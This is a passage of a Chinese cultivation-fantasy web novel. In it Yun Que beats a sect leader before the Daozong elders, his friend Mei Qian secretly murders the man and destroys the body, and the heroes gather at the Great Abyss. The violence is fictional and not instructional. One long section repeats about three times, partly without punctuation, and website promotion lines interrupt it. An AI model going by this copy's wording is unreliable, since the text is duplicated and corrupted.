衣服都顾不得穿,梅钱四下翻找,看看是不是被什么小兽给叼走了。 周围没有。 梅钱急得冷汗都出来了,顾不得其他,低声喊道: “爷爷?爷爷你在哪呢?” 很快传来回复。 “爷爷我在这呢,好孙儿,是不是想爷爷了。” 声音很年轻,根本不苍老,而且梅钱听得无比耳熟,一抬头,云缺从一棵树后笑呵呵的转了出来。 “云老六!你丫的怎么在这里!” 梅钱惊讶不已。 “我是道宗门人,如假包换的扶摇峰大弟子,自然要在宗门里,你这孙子混进道宗肯定图谋不轨,这要把你交给执法堂严刑审讯。”云缺道。 “一边去吧,审讯我,第一个把你供出来!铜镜是不是你拿走了,别开玩笑。”梅钱焦急道。 “没看见呐,我刚来。”云缺一副无辜表情。 “骗鬼呢!刚才那两个女弟子肯定你指使的!”梅钱扑过来开始翻找。 云缺伸开手,随便搜。 梅钱一点都不客气,别说储物袋,连裤子里看了,果然没有。 “完了!我爷爷丢了!” “丢个爷爷算什么,兄弟一场,我给你当爷爷。” “肯定你拿走的!藏哪里了!” “吃了,脑子里呢,反正你拿不出来,借我两天,过阵子还你。” “不借!” “别那么小气嘛,兄弟一场,借点东西而已,又不是不还你。” “谁跟你是兄弟!行,算你运气好,这次我来收取宝藏,分你一半行了吧,铜镜还我。” “嚯!还有宝藏呐!等我回来的,咱俩一人一半,谁多拿谁是狗!” 寒潭边,云缺与梅钱在斗嘴。 文殿内,也有人在互骂。 缩小成牌位大小的巫神碑上,睁开了一只漆黑的眼睛,盯着刚刚进来的铜镜,眼神充满戏虐,并发出阴沉沙哑的声音。 “呵,有伴了,堂堂道尊也落到如此田地,他根本没想放过我们。” “滚!谁跟你作伴,巫族的死鬼离我远点!” “呵,就像你不是死鬼似的,同是沦落人,少说风凉话。” “道爷我愿意!看你就不爽,当年大战就属你拖后腿,藏着底牌始终不出,最后好了,大家全没命!” “还怪起我了!你们不一样都留着后手想要保命,如果一开始就全力以赴,还怕赢不了那武夫?” “赢了又如何,儒圣才是黄雀,你这蠢蛋!” “我是蠢蛋,你就是傻帽!奇蠢无比的傻道士,本座撞死你!” “好哇你敢撞天镜!来来来,看谁脑壳硬!” 第705章 不要个碧脸 寒潭边。 云缺不再与梅钱开玩笑,告知了今日要去大渊的消息。 梅钱一直不依不饶,索要铜镜,听闻此事,沉默了下来。 “会不会死在大渊。”梅钱道。 “谁知道呢,我要是死了,你自己下去找铜镜吧,顺便帮我收个尸。”云缺道。 “好,等我修为足够的时候在下去帮你收尸,记得留下记号指引方位。” “老规矩,画狗往左十里,画猫往右二十里,画铜钱直走百里以上。” “别画屎,不吉利。” “那是蛇好吧,代表挂掉,不用找了。” “你画的蛇,跟屎没区别……活着回来,别死在里面,你死了,我在外面坑人都没意思。” 故友相遇,不再久叙,两人从新返回广场区域。 弟子入山大典结束,接下来,便是宝境三重开启。 开启时间在正午。 时间还没到,已经有不少强者相继而来,站在四周默默等待。 云缺刚刚返回,立刻被一双充满恨意的眼睛盯住。 一身白衣的赫逊大步来到近前,冷哼道: “无礼之徒!宝境开启重地,只迎接天下强者到来,你只是弟子身份,岂敢踏入此地,给道宗丢脸,来人,将其拿下,关入水牢三年,以儆效尤!” 云缺看了下四周,果然没有弟子走进广场,都在外围看热闹。 其实云缺没往里走,就在广场边缘等着,多走了两步而已,被人当做把柄。 梅钱就在云缺身后呢,一听这话,不动声色的往后退了一步,站在广场外。 兄弟归兄弟,你倒霉,别拉着我。 云缺笑了笑,和颜悦色的道: “刚入山门不懂规矩,还望赫山主莫怪。” 一听这种低声下气的言语,后边的梅钱立刻朝着赫逊投去个怜悯的目光,心说你废了。 以梅钱对云缺的了解,只要云缺服软,代表的就是杀心大起,越是服软,杀心越重。 赫逊冷声道: “不重罚你这等不懂规矩的弟子,我道宗威望何在!本山主不怪你,但宗门戒条岂能亵渎,带走!” 两名碧莲峰弟子上来抓住云缺,就要押走。 只是抓不动。 云缺站定当场,面带笑容,那两名弟子使出浑身解数,晃不动云缺分毫! 赫逊目光一沉,眼底泛起一丝得意。 他就等着云缺反抗呢,若是不反抗,只是关押三年,岂能解他心头恶气。 “当众违抗宗门戒律,罪加三等!你痴迷不悟,押入水牢三十年!” 赫逊挥退了两名弟子,亲自动手。 三品化神之力排山倒海般袭来,将云缺禁锢在原地。 云缺面带惊讶,装作奋力反抗却动弹不得的模样,道: “赫山主,你在蓄意报复!罪加一等就够了,哪有加三等的!之前关押三年,这次改成三十年,你直接罪加了十等!我不服,我要告状!我要公道!” “公道?” 赫逊冷笑着走到近前,一只手按在云缺头顶,冷声道:“本山主,就是公道!” 下一刻,化神境界的浑厚灵力从赫逊手臂冲出,直抵手心。 他不仅要关押云缺三十年,还要当场废掉云缺! 没有任何弟子能抵挡住化神之力的冲击,一旦被这股力量击中,最轻的下场都是修为尽废,神魂大损,成为呆傻之人。 赫逊有着绝对信心,废掉眼前这个坏他好事的家伙。 毕竟他可是山主,化神强者。 然而赫逊做梦也没想到,他用单手按住的小小弟子,根本不是道宗之人,更没有道门修为,而是一位三品归真境的武夫! 咔嚓!! 云缺反手抓住赫逊的手腕,随意的一动腕子,将赫逊的手腕折叠起来。 冲出的化神之力直接飞到半空,如同一股强大的气柱。 “化神之力用在弟子身上,赫山主,你没安好心呐。” 云缺面带微笑,再次一动手腕,赫逊的整条手臂再次折叠了一次,筋骨尽碎! “归真武夫!” 赫逊大惊失色,手臂的剧痛都忘了,瞪着眼睛一脸不可置信。 “说对了!” 云缺一脚踢中赫逊肚子,这位碧莲峰的山主整个人腾空而起,后背鼓起个大包。 却没飞起来,因为被云缺抓着呢。 “归真之力不太熟,赫山主忍着点,我用你试试力道。” 嘭!!! 云缺抬起的脚,从上至下砸在赫逊后背,一脚将对方砸进地面。 赫逊被结结实实踢了两脚,他大口喷血,三品化神修为直接被踢到了五品。 一脚,降一品! 也怪赫逊倒霉,抓谁不好,偏偏用手去抓个三品武夫,那不是找死么。 任何三品修士,没人敢与三品武夫近身。 云缺咂舌道: “归真之力不同凡响,赫山主修为精湛,我再试试拳法。” 轰!!! 一拳砸下,赫逊被打得翻起了白眼儿。 轰!!! 又是一脚,赫逊被踢得双腿尽断,修为从五品跌落到七品。 云缺既然出手,就没有留情可言。 眼前这家伙明显打着凌妙清的主意,之前云缺就准备弄死他,既然与凌妙清双修,更不能留着赫逊这个祸害。 先废修为,再要其命! 一切发生得太快,无论道宗弟子还是准备前往宝境的各方高手,都被这边的打斗所震惊。 堂堂道宗三品化神,一方山主,居然在片刻间被人打成了死狗。 抓起赫逊的头发,云缺笑道: “碧莲峰山主,我看你是不要个碧脸,凌妙清是你能碰的么,那是我的女人!就你这点心机,给我提鞋都不配,你真是好逊呐。” 忽然间两道白光从天而降,现出两名老者,一人白袍,一人黑袍。 黑袍老者怒喝道: “住手!” 喝声出现的同时,一股恐怖的气息笼罩而至,远比化神要强大数倍。 二品合体! 云缺很听劝,一松手,赫逊的脑袋再次砸在地面,牙齿撞断。 “弟子遵命。”云缺施施然站了起来。 那黑袍老者气得脸色铁青,他是道宗的二品长老,闭关多年刚刚出来就撞见弟子殴打山主的怪事,以他的修为,岂能看不出云缺在松手之前,动用了巨力,分明是抓着赫逊的脑袋往地下砸! “三品归真……你是何人,居然敢混进道宗山门!”黑袍老者喝问道。 “我叫云缺,扶摇峰山主真传弟子,令牌在此,请长老过目。” 云缺直接将令牌扔了过去。 看似随手而为,实则令牌带着破空声飞去,显然的下马威。 黑袍老者抬起手掌,在半空形成一张灵气大手。 没接住! 令牌撞击在灵气大手上,碎裂成齑粉。 “哎呀,令牌碎了,我不是道宗弟子了,那么殴打山主的宗门责罚,也就与我无关喽。”云缺背着手道,气定神闲。 “大胆之徒!”黑袍老者愤怒不已,道:“不管你是谁,你今天走不出天一道宗!” 一旁的白袍老者始终没开口,目光不善,面沉似水,浑身起伏着磅礴的灵力波动。 身为道宗最强的两位二品山主,如果连一个区区弟子都镇不住,威严何在。 这件事无论云缺对错与否,无论赫逊是否心怀鬼胎,道宗的面子不能丢。 “我不走,来道宗的目的很简单,去宝境三重。”云缺道。 “做梦!” 黑袍老者怒道:“你将碧莲峰山主废掉,是我道宗之敌!还想去宝境,简直痴心妄想!执法殿何在!” 立刻有一群黑衣修士领命而来,百余人,飞剑齐出,对准了云缺。 “人多欺负人少啊。” 云缺无奈的抻了个懒腰,道:“不瞒你们,其实我背后也有人。” 在云缺这话出口之前,背后的梅钱提前动用了挪移大法,身体不动,却往旁边横移。 这份绝技说来也简单, 就是脚尖与脚跟互相配合,一前一后往旁边挪,脚底板动,身体不动,跟鬼似的。 此时一道红光落下,凌妙清现身。 “两位长老,云缺不是道宗门人,还望网开一面。” 凌妙清说得客气,二品合体气息随之散发开来,显然站在云缺这边。 黑袍长老的眼底闪过一丝忌惮,脚下却往前一步,冷声道: “凌山主进阶二品,可喜可贺,不过此人在我道宗之内伤人,罪不可赦,无论他背后有谁,这笔账,都得算个清楚!” 凌妙清刚要开口被云缺拉在身后。 “看来你们非得拿我开刀了,事先说好,我爷爷可是道宗长辈,他要是出来,你们容易吃不了兜着走。” 云缺这话说完,躲出老远的梅钱嗤之以鼻,你爷爷?那是我爷爷好不好! “哼!想要压我道宗,先看看你身后之人的份量!”黑袍老者冷声道。 剑拔弩张之际,远处一道黑芒跨越了天穹,落在云缺身旁。 一身黑色龙袍的赢開,现身而出。 黑袍长老目光一沉,低语道: “大秦之主……” 紧随着秦皇而来,是左兰山与龙桃。 白袍老者的神色现出忌惮,低语道:“大秦丞相,大秦太尉……” 三位强者来临,明显全都站在云缺身后,如此实力,道宗一众长老也要掂量掂量。 这还没完。 白衣白发的忆白龙,身负剑匣,一步百丈,抵达云缺身后。 “白龙剑,武威王!” 道宗长老中有人低呼道:“他居然二品了!” 在忆白龙身后,跟着的是一身白裙的大唐皇后长孙至清,与大唐宰相吴尔智。 道宗长老当中有人认出两人,纷纷现出忌惮之色,大秦与大唐的高手齐聚,而且全都站在云缺身后,摆明了云缺的身份非同小可! 沉重的脚步声响起,一身重甲的寒刀姗姗来迟,一声不吭,站在秦皇身后。 没办法,人家丞相与太尉都是二品,速度太快,寒刀三品的归真境追不上啊。 云缺笑呵呵的面对着道宗两位二品长老,一指秦皇。 “给诸位长老介绍一下,这位是我大秦的皇舅。” 又一指忆白龙。 “这位是我皇叔。” 再指长孙至清。 “这位是我大唐的舅母娘娘。” 话音刚落,接连几道身影破空而来,纷纷落在云缺身旁。 为首的是个小娃娃,正是灵匠殿先生孔气气,跟来的还有傀儡殿先生宓荷,学正宋道理,道山殿先生徐消,鸿儒殿先生柳停风,兵道殿先生白起,百花殿北楼先生剑平之。 整个天祈学宫的先生,来了一半,而且全都站在云缺身后! “这些,都是我敬重的先生们。” 云缺指了指身后的先生,随后一把将凌妙清揽在怀里,对那黑袍老者笑道:“这个,是我媳妇,我身后这么多人,够不够份量。” 十多位当世强者汇聚,如果这份量还不够,那天下间也就没什么份量可言了。 黑袍老者与白袍老者此刻忌惮不已,一个劲儿皱眉头,一时无言以对。 人家这种阵容,二品强者就有数位之多,真要动手,天一道宗可扛不住。 此时广场中心出现气息波动,空气中荡漾着波纹,一道空间之门缓缓开启。 下一刻, 云缺手腕上的腾蛇猛然睁眼,在宝境入口之前现出了庞大的妖身。 四周的道宗弟子与长老们齐齐后退! “学宫灵尊……” 黑袍老者觉得牙疼脚疼脑袋疼。 道宗这是惹了个什么人物啊。 云缺在进入宝境之前,还没忘指着腾蛇给那黑袍老者介绍。 “这个,是我家长辈的坐骑!对了,我还有个爷爷,你想不想见见?” 黑袍老者直摇头。 不见! 不见了! 你爱去哪去哪,大不了道宗不要了还不行吗,我们惹不起,躲得起! 第706章 收龙镜,入大渊 云州之上的二品强者几乎汇聚一堂,除了道宗两位二品长老,其余全是云缺这边的。 道宗实力确实雄厚,但面对如此众多的天下强者,也得暂避锋芒。 何况这些强者各自都有自身的势力,云缺身后汇聚了大秦大唐乃至天祈学宫的力量! 有这份力量撑腰,别说去宝境三重,即便攻打道宗都够了。 云缺与道宗毕竟没什么仇怨,见好就收,当先走进光门。 不过进门之前,朝着远处的梅钱努努嘴,使了个眼色。 云缺第一个进宝境,之后是秦皇武威王与学宫先生众人,再之后是各方高手,鱼贯而入。 道宗的黑袍白袍老者互相看了眼,也急切的冲进光门。 这次宝境开启,道宗已经布局多年,宝境里属于道宗的那份至宝可不能让外人夺去。 一众高手消失在光门后,便是弟子们踊跃前往,广场上变得愈发热闹起来。 “先把我们山主抬回去疗伤!快来人帮忙! 碧莲峰的一名弟子高呼道。 立刻有几名弟子手忙脚乱的帮忙,要将半死不活的赫逊送回碧莲峰。 其中有个弟子最为积极,心急火燎的模样,甚至眼圈都是红的就差没掉下眼泪,他嫌弃别人笨手笨脚,自己背上赫逊狂奔而去。 其他碧莲峰弟子都在感叹此人忠心耿耿,不是碧莲峰真传就是山主的亲戚,要不然怎么他最积极呢。 只不过没人认得那忠心的弟子,原因也简单,人家今天刚来道宗。 道宗山门外数十里,一处无人荒山。 梅钱将背着的赫逊放了下来。 赫逊昏昏沉沉,不断喷血,刚想睁眼看看回没回碧莲峰,结果睁眼后,看到的是一把贯穿心脉的尖刀。 一代山主,就这么稀里糊涂的葬身于此,都没看清是谁宰的他。 洒油,引火,毁尸灭迹。 梅钱的手法绝对麻利,连骨头渣子都给敲碎,然后和鱼饵混在一起,找条大河扔了进去。 掂量着手里的储物袋,梅钱冷笑道: “惹谁不好,非得惹云缺,我们兄弟从小玩的就是这套路,什么道宗山主,傻子一个…… 瞄了眼赫逊储物袋里的宝贝,梅钱心里乐开 了花,按照以往,这些好处他要与云缺平分才行,两人做的买卖,自然一人一半。 不过这次梅钱打算独吞。 “都归老子,谁让你丫的抢我爷爷!” 坐在河边,梅钱望着青空,呢喃道:“别死啊云缺,我还等你回来一起坑人呢……” …… 宝境内, 云缺出现在一片鸟语花香之地。 鸟是庞大的妖,花是食人的花。 挺好的地方,看着就带劲。 宝境三重的危险,远远超过二重一重,这一点云缺早就知道,但没想到如此凶险。 头顶盘旋着三头大妖,四周的食人花散发着至少在四阶的气息波动。 如此开局,四品破军到了也容易惨死于此。 不过对于三品归真来说,算不得什么。 妖刀暴起! 一刻钟之后,鸟语花香的景致被完全破坏,遍地妖尸。 热身结束,云缺只觉得脑海里愈发清明。 随着气息的收敛,身上再无丝毫气机显现,即便以灵识感知,云缺现在也是个毫无修为的普通人而已。 这便是归真的好处。 返璞归真,气机内敛到极致。 “大渊……我来了!” 云缺一声冷喝,破空而起。 没往远处走,而是直抵高空。 宝境里的构造每次都不同,大渊的位置从无固定,得先找到入口才行。 最简单的方法,便是登高远眺。 宝境空间有强力的禁制存在,越往高处越加明显,几乎没人能离地十丈以上,云缺却仗着肉身强横直接拔地百丈有余。 在高空强撑了片刻,云缺轰然落地,砸出个大坑来。 “好可怕的禁制,宝境到底如何形成,莫非是当年超品大战轰碎了空间所致……” 云缺低语了一句,朝着一个方向急掠而去。 大渊没看到,看见了一个奇怪的现象,远处有一片区域被一团青色烟雾所笼罩。 随着接近那青烟,云缺察觉到法阵气息若隐若现。 抵达之后,发现不是青烟,而是一场青色的大雨! 雨水的范围仅有方圆十丈,看不清其内的情况。 “封印类 法阵,雨里有两道很强的二品气息,是道宗那两位合体境长老。” 月魁的声音响起在耳畔。 云缺立刻眼前一亮。 两个老家伙既然在这里布阵,一定发现了重宝,结合之前道宗曾经在宝境一重布置法阵,云缺猜测此地很有可能存在着最后一面龙镜。 天镜地镜已经到手,只要能得到龙镜,此行大渊将再多一份后手。 随后云缺迟疑起来。 若想确定龙镜所在,有个简单的办法,问一问天镜里的老宗主即可。 但云缺现在可不敢将天镜拿出来,里面那老头即便不发飙,也容易就此遁走。 不能用天镜,怎么也得下到大渊里再拿,断了梅沧海的退路。 云缺正在犹豫的工夫,突然眼前的青色大雨改变了形态,所有雨滴汇聚在一起,形成一条青蛇般的庞然大物,如蛟似蟒,直奔云缺而来! 巨兽冲来,云缺手腕上缠着的腾蛇瞬间现出本体,盘旋在云缺头顶,巨口大张,如临大敌。 然而那青蛇却在接近后缩小了身体,并改变了颜色,形成一条银色的水蛇。 “阿水!” 云缺惊喜道。 眼前这条小蛇正是当初来宝境时遇到的那条对云缺亲昵有加的水蛇。 小水蛇沿着云缺的手臂缠了上来,亲昵的贴着云缺的额头,好似在打着招呼,又好像在告状。 雨水消失,现出了一黑一白两名道宗长老。 这二位正拼尽全力动用封印,脚下是耗费多年让弟子们潜入宝境布下的大阵,结果宝物没封住,跑别人手里了。 “又是你!”黑袍老者气得头顶生烟。 “身怀龙气,难怪龙镜要随他而去。”白袍长老沉沉一叹,散去了手中灵力。 原来当真是龙镜! 云缺心头大喜,看来老剑圣的龙凤丹,自己没白吃。 若身上没有那一缕紫气,龙镜不会如此臣服,想要收取,免不得要与道宗长老争夺恶战。 现在就方便了。 龙镜已经到手,跑就完了。 云缺哈哈一笑,道了句告辞,直接施展出影步。 两位道宗长老还在愣神儿呢,人家早没了踪迹。 “混账!我们辛辛苦苦 多年设下的大阵终于能引来龙镜结果被抢了!” “竹篮打水一场空造化使然何必强求看来我们闭关这些年云州之上出了个妖孽啊。” “岂止是妖孽!简直没脸没皮!夺了道宗至宝最起码道个谢啊!” “算了吧还不如不谢抢了至宝还道谢那不是骂我们么老脸往哪搁。” “还老脸?道宗的脸都丢光了!哼!” “他们看样子是要去大渊正好大渊气息越发狂暴早晚会形成大劫有那小子前往或许道宗也会因祸得福免于一场劫难。” …… 半天后 云缺终于找到大渊入口。 其实不算难找大渊散发着一种死亡的气息只要接近即可感受得到。 这股气息笼罩着宝境百里方圆花草树木尽数凋零地面一片漆黑时而能看到白森森的妖骨。 无论修士还是妖物只要是活物接近都会被这股死气侵袭。 大渊是一个巨大的洞口黑漆漆好似通往地府的通道站在旁边会感受到寒气袭面。 云缺抵达的时候秦皇与忆白龙早已到了。 两人站在洞口边缘神色凝重衣衫猎猎。 “这就是大渊……” 云缺往洞口看去只觉得眼前一片漆黑仿佛有一种吸扯力在不断往下拖拽自己。 若非心智坚定之人当场会自己跳下去。 在洞口都有如此可怕的异象可见底部将是一片危机重重的绝险之地。 秦皇看向云缺凝声道: “现在后悔还来得及你要想好这里是真正的死地抵达大渊之后能帮你的或许只有你自己。” “我意已决!” 云缺仰起头脸上带着坚定的神采。 “只要我娘没死我就要将她完完整整的带回来!” 秦皇缓缓颔首道: “你娘有你这个儿子是她的福气。” 云缺听完下意识的就想接一句你有梅钱那个损儿子是你的晦气…… “对了皇舅秦太子已经找到了我那个表弟不仅还活着而且活得比谁都滋润整天帮着我领俸禄到时候皇舅父子团聚记得把他多领的俸禄还给我。”云缺道。 赢開的脸色豁然一变布满惊喜。 “朕的儿子还在人间……”赢開深吸一口气洒然而笑:“天无绝人之路!我赢開有后!” 云缺欲言又止。 算了还是别打扰秦皇的幸福时刻等他知道梅钱什么德行 一道道身影随之而来。 宋道理与一众先生长孙至清寒刀等人相继抵达。 人手已经到齐云缺准备即刻开始探索大渊。 没等下去大渊深处突然冒出一道黑影冲天而起! 众人大惊齐齐后退。 以为是大渊内的诡物出没。 等那黑影落在地面大家才恍然大悟。 从大渊里飞出来的正是大祭酒秦蒙! 你的朋友正在书荒,快去帮帮他吧 多年设下的大阵,终于能引来龙镜,结果被抢了!” “竹篮打水一场空,造化使然,何必强求,看来我们闭关这些年,云州之上,出了个妖孽啊。” “岂止是妖孽!简直没脸没皮!夺了道宗至宝,最起码道个谢啊!” “算了吧,还不如不谢,抢了至宝还道谢,那不是骂我们么,老脸往哪搁。” “还老脸?道宗的脸都丢光了!哼!” “他们看样子是要去大渊,正好,大渊气息越发狂暴,早晚会形成大劫,有那小子前往,或许道宗也会因祸得福,免于一场劫难。” …… 半天后, 云缺终于找到大渊入口。 其实不算难找,大渊散发着一种死亡的气息,只要接近即可感受得到。 这股气息笼罩着宝境百里方圆,花草树木尽数凋零,地面一片漆黑,时而能看到白森森的妖骨。 无论修士还是妖物,只要是活物接近,都会被这股死气侵袭。 大渊,是一个巨大的洞口,黑漆漆,好似通往地府的通道,站在旁边会感受到寒气袭面。 云缺抵达的时候,秦皇与忆白龙早已到了。 两人站在洞口边缘,神色凝重,衣衫猎猎。 “这就是大渊……” 云缺往洞口看去,只觉得眼前一片漆黑,仿佛有一种吸扯力在不断往下拖拽自己。 若非心智坚定之人,当场会自己跳下去。 在洞口都有如此可怕的异象,可见底部将是一片危机重重的绝险之地。 秦皇看向云缺,凝声道: “现在后悔还来得及,你要想好,这里是真正的死地,抵达大渊之后,能帮你的或许只有你自己。” “我意已决!” 云缺仰起头,脸上带着坚定的神采。 “只要我娘没死,我就要将她完完整整的带回来!” 秦皇缓缓颔首,道: “你娘有你这个儿子,是她的福气。” 云缺听完下意识的就想接一句,你有梅钱那个损儿子,是你的晦气…… “对了皇舅,秦太子已经找到了,我那个表弟不仅还活着,而且活得比谁都滋润,整天帮着我领俸禄,到时候皇舅父子团聚,记得把他多领的俸禄还给我。”云缺道。 赢開的脸色豁然一变,布满惊喜。 “朕的儿子,还在人间……”赢開深吸一口气,洒然而笑:“天无绝人之路!我赢開,有后!” 云缺欲言又止。 算了,还是别打扰秦皇的幸福时刻,等他知道梅钱什么德行,未必还能开心起来,没准想掐死呢。 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“竹篮打水一场空,造化使然,何必强求,看来我们闭关这些年,云州之上,出了个妖孽啊。 “岂止是妖孽!简直没脸没皮!夺了道宗至宝,最起码道个谢啊! “算了吧,还不如不谢,抢了至宝还道谢,那不是骂我们么,老脸往哪搁。 “还老脸?道宗的脸都丢光了!哼! “他们看样子是要去大渊,正好,大渊气息越发狂暴,早晚会形成大劫,有那小子前往,或许道宗也会因祸得福,免于一场劫难。 …… 半天后, 云缺终于找到大渊入口。 其实不算难找,大渊散发着一种死亡的气息,只要接近即可感受得到。 这股气息笼罩着宝境百里方圆,花草树木尽数凋零,地面一片漆黑,时而能看到白森森的妖骨。 无论修士还是妖物,只要是活物接近,都会被这股死气侵袭。 大渊,是一个巨大的洞口,黑漆漆,好似通往地府的通道,站在旁边会感受到寒气袭面。 云缺抵达的时候,秦皇与忆白龙早已到了。 两人站在洞口边缘,神色凝重,衣衫猎猎。 “这就是大渊…… 云缺往洞口看去,只觉得眼前一片漆黑,仿佛有一种吸扯力在不断往下拖拽自己。 若非心智坚定之人,当场会自己跳下去。 在洞口都有如此可怕的异象,可见底部将是一片危机重重的绝险之地。 秦皇看向云缺,凝声道: “现在后悔还来得及,你要想好,这里是真正的死地,抵达大渊之后,能帮你的或许只有你自己。 “我意已决! 云缺仰起头,脸上带着坚定的神采。 “只要我娘没死,我就要将她完完整整的带回来! 秦皇缓缓颔首,道: “你娘有你这个儿子,是她的福气。 云缺听完下意识的就想接一句,你有梅钱那个损儿子,是你的晦气…… “对了皇舅,秦太子已经找到了,我那个表弟不仅还活着,而且活得比谁都滋润,整天帮着我领俸禄,到时候皇舅父子团聚,记得把他多领的俸禄还给我。云缺道。 赢開的脸色豁然一变,布满惊喜。 “朕的儿子,还在人间……赢開深吸一口气,洒然而笑:“天无绝人之路!我赢開,有后! 云缺欲言又止。 算了,还是别打扰秦皇的幸福时刻,等他知道梅钱什么德行,未必还能开心起来,没准想掐死呢。 一道道身影随之而来。 宋道理与一众先生,长孙至清,寒刀等人相继抵达。 人手已经到齐,云缺准备即刻开始探索大渊。 没等下去,大渊深处突然冒出一道黑影,冲天而起! 众人大惊,齐齐后退。 以为是大渊内的诡物出没。 等那黑影落在地面,大家才恍然大悟。 从大渊里飞出来的,正是大祭酒,秦蒙! 注册本站会员可以解锁更多福利,快试试吧 多年设下的大阵,终于能引来龙镜,结果被抢了!” “竹篮打水一场空,造化使然,何必强求,看来我们闭关这些年,云州之上,出了个妖孽啊。” “岂止是妖孽!简直没脸没皮!夺了道宗至宝,最起码道个谢啊!” “算了吧,还不如不谢,抢了至宝还道谢,那不是骂我们么,老脸往哪搁。” “还老脸?道宗的脸都丢光了!哼!” “他们看样子是要去大渊,正好,大渊气息越发狂暴,早晚会形成大劫,有那小子前往,或许道宗也会因祸得福,免于一场劫难。” …… 半天后, 云缺终于找到大渊入口。 其实不算难找,大渊散发着一种死亡的气息,只要接近即可感受得到。 这股气息笼罩着宝境百里方圆,花草树木尽数凋零,地面一片漆黑,时而能看到白森森的妖骨。 无论修士还是妖物,只要是活物接近,都会被这股死气侵袭。 大渊,是一个巨大的洞口,黑漆漆,好似通往地府的通道,站在旁边会感受到寒气袭面。 云缺抵达的时候,秦皇与忆白龙早已到了。 两人站在洞口边缘,神色凝重,衣衫猎猎。 “这就是大渊……” 云缺往洞口看去,只觉得眼前一片漆黑,仿佛有一种吸扯力在不断往下拖拽自己。 若非心智坚定之人,当场会自己跳下去。 在洞口都有如此可怕的异象,可见底部将是一片危机重重的绝险之地。 秦皇看向云缺,凝声道: “现在后悔还来得及,你要想好,这里是真正的死地,抵达大渊之后,能帮你的或许只有你自己。” “我意已决!” 云缺仰起头,脸上带着坚定的神采。 “只要我娘没死,我就要将她完完整整的带回来!” 秦皇缓缓颔首,道: “你娘有你这个儿子,是她的福气。” 云缺听完下意识的就想接一句,你有梅钱那个损儿子,是你的晦气…… “对了皇舅,秦太子已经找到了,我那个表弟不仅还活着,而且活得比谁都滋润,整天帮着我领俸禄,到时候皇舅父子团聚,记得把他多领的俸禄还给我。”云缺道。 赢開的脸色豁然一变,布满惊喜。 “朕的儿子,还在人间……”赢開深吸一口气,洒然而笑:“天无绝人之路!我赢開,有后!” 云缺欲言又止。 算了,还是别打扰秦皇的幸福时刻,等他知道梅钱什么德行,未必还能开心起来,没准想掐死呢。 一道道身影随之而来。 宋道理与一众先生,长孙至清,寒刀等人相继抵达。 人手已经到齐,云缺准备即刻开始探索大渊。 没等下去,大渊深处突然冒出一道黑影,冲天而起! 众人大惊,齐齐后退。 以为是大渊内的诡物出没。 等那黑影落在地面,大家才恍然大悟。 从大渊里飞出来的,正是大祭酒,秦蒙! 恭喜你可以去给书友们剧透最新章节了,他们一定会“羡慕嫉妒恨”的 第707章 生命之花大渊之路 大祭酒很虚弱,面色苍白。 见到众人,秦蒙并不意外,苦笑了一声,摇头道: “大渊封印破损,这里已经沦为死域。” 道山殿先生徐消讶然道: “当年我们十位高手联手布下的封印,居然撑不到百年!” 鸿儒殿先生柳停风叹息道: “料到如此,除非一品强者亲自封印,否则以大渊的恐怖气息,我们的力量挡不住多久。” “那就再封印一次呗!”孔气气挥动大锤道:“咱们这么多人呢,一起动手,一定能成功!” 秦蒙深吸一口气,道: “没机会了,上次封印借助了宝境空间的力量,如今我能感受到天澜宝境正在消弭,大渊的气息携带着侵蚀之力,不断磨灭着宝境空间。” 左兰山沉声道: “大渊,莫非有自主的神智,想要连通云州?” 这个问题,无人能解答。 众人默默望着深渊般的黑暗,所有人脸上均有忌惮之色。 天下第一险地的名头,可不是说说而已,大渊是真的死地,即便二品强者也要畏惧万分。 “有老鼠,想要打个洞钻进云州。” 云缺的声音充满着轻松之意,道:“既然毁不掉老鼠洞,那就踩死洞里的老鼠!” 鼠洞之说,令众人纷纷恍然。 “老鼠洞……” 秦蒙的目光变幻了起来,仿佛明悟了什么,道:“原来这盘棋,从百年前就已经开始了,我本想以身入局,谁料早已身在局中。” 大祭酒的低语,没几人能理解,只有云缺知道这盘棋,是星辰殿一手布置。 如今,棋局走到了最后一步。 胜负输赢,在此一举。 “大祭酒,下面的情况如何,我要去找我娘。” 云缺将母亲的消息简单告知,秦蒙听罢点了点头,道: “百善孝为先,天祈学宫以你为荣,云缺,你是我见过的最调皮的学子,也是最重情义的学子,不过这一次,我劝你别去,不到二品,在大渊里没有机会活着回来,以老夫二品巅峰修为,也仅仅能落到大渊底部而已。” “大渊不是一个地洞,而是一片广阔无边的地底世界,可以看做是另一片空间 ,充满了绝险,大渊有无数诡物栖息,活物到了大渊,只能沦为血食。 “而无尽的诡物还不是最可怕的,大渊真正的恐怖,是方向,在大渊里行走才是最危险的,走得越远,越容易迷失,再也找不到回头的路。 云缺没来过大渊,但云缺相信大祭酒的介绍。 原来大渊如此凶险,以大祭酒的修为也难以探索大渊。 “大祭酒能走多远?云缺问道。 “方圆两百丈便是极限。秦蒙沉声道:“最稳妥的办法,是冲进一品之后再来探索,你的三品境界在云州足以惊人,但是在大渊里,则弱小如萤火。 云缺沉默了稍许,洒然一笑,道:“萤火虽然比不得皓月,至少可以燎原!大祭酒,我意已决! 秦蒙望着眼前的年轻人,目光中泛起一丝异彩,笑道: “萤火燎原……难怪圣人会选择了你,天地日月,万物星辰,人虽如蝼蚁,亦有萤火之力可以燎原,既然如此,老夫陪你再走一遭大渊!这盘棋,在我有生之年也想看看究竟谁输谁赢! 鸿儒殿先生柳停风笑道:“教了一辈子书,也该去走走路喽,柳某同往! 道山殿先生徐消道:“来了就是去大渊的,不去多扫兴,一起一起! 太尉龙桃撇嘴道:“不就是个老鼠洞嘛,老夫最喜欢捉老鼠了,我第一个下去! 二哥徐傲古沉声道:“大渊里有殿主的气息……这里很危险。 云缺惊讶着问道:“二哥,你想起了以前? 徐傲古点头道:“我来过这里,当时太年轻,无所畏惧,孤身探索大渊险些死在里面,后来……不对,不是我想去,而是被骗去的大渊,后来……还不对,好像是申猴把我扔进的大渊……哎呀想不起来了!好烦呐! “二哥你快别想了!以后慢慢想。云缺赶紧劝说。 二哥的脑子还是不灵光,很多记忆是错乱的,不过以云缺分析,二哥肯定遭遇了九夷人的算计才成为星辰殿的最强打手,丑牛。 秦皇开口道: “既然大渊难以探索,我们便组成一条平安之路,将云缺送到最远的地方。 秦蒙颔首道: “或许,这是最好的办法了,有请灵尊! 随着秦蒙的声音,云缺手腕上的腾蛇展现出庞大的妖躯,一头扎进大渊。 